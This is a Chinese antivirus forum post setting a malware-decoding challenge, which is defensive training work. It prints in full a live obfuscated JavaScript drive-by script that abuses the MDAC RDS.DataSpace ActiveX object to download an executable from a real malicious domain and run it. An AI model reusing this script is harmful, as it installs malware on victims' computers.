解密地址：http://toshaa.com/b2b/

规则：1.一次解完并附解密日志和步骤（包含swf和pdf网马），奖赏20贡献，每步奖赏5威望；
            2. 如地址失效，请下载附件源代码来进行解密。
            3. 严禁使用自动解密工具（shellcode自动解密工具）
            4. 对于积极参与此活动会员，并多次中奖者，我们可以诚邀加入卡卡反病毒小组

解密工具：
  Freshow（中文版）
  Redoce（中文版）
  Malzilla （汉化版）

在线解析站点：
        http://glacierlk.cn/openlab/jm.htm
        http://www.cha88.cn/

注：论坛所有会员均可参加，严禁使用md的自动解密功能

恶意网址来源瑞星全功能安全软件拦截到真实有效的地址

<Script Language='JavaScript'>

var clsid ="clsid:";

var six = "6";

var adob = "ado"+"db.strea";

var adobs = adob + "m";

var shell = "She"+"ll.Appl"+"icatio";

var shella = shell + "n";

var z = document.createElement('object');

z.setAttribute('id','z');

z.setAttribute("clas"+"sid",clsid+"BD96C556-65A3-11D"+"0-983A-00C"+"04FC29E3"+six);

try {

var q = z.CreateObject("msxm"+"l2.xml"+"http",'');

var s = z.CreateObject(shella,'');

var t = z.CreateObject(adobs,'');

var name = ".//..//mldwfe.exe";

try { t.type = 1;

q.open('GET','http://toshaa.com/b2b/?lsjt',0);

q.send(); t.open();

t.Write(q.responseBody);

t.SaveToFile(name,2);

t.Close(); } catch(e) { }

try { s.ShellExecute(name); } catch(e) { }

}catch(e){}

</Script>